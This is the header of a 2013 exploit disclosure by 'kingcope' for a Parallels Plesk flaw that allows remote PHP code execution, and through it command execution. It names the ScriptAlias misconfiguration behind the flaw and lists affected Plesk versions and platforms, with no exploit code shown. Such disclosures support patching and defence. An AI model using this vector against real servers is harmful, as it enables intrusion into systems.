Plesk Apache zeroday / June 2013
discovered & exploited by kingcope


this Plesk configuration setting makes it possible:
scriptAlias /phppath/ "/usr/bin/"
Furthermore this is not cve-2012-1823 because the php interpreter is called directly.
(no php file is called)

Parallels Plesk Remote Exploit -- PHP Code Execution and therefore Command Execution
Affected and tested: Plesk 9.5.4
					 Plesk 9.3
					 Plesk 9.2
					 Plesk 9.0
					 Plesk 8.6
Discovered & Exploited by Kingcope / June 2013
Affected and tested OS: RedHat, CentOS, Fedora
Affected and tested Platforms: Linux i386, Linux x86_64
Untested OS: Windows (php.exe?)
Unaffected: 11.0.9 due to compiled in protection of PHP version
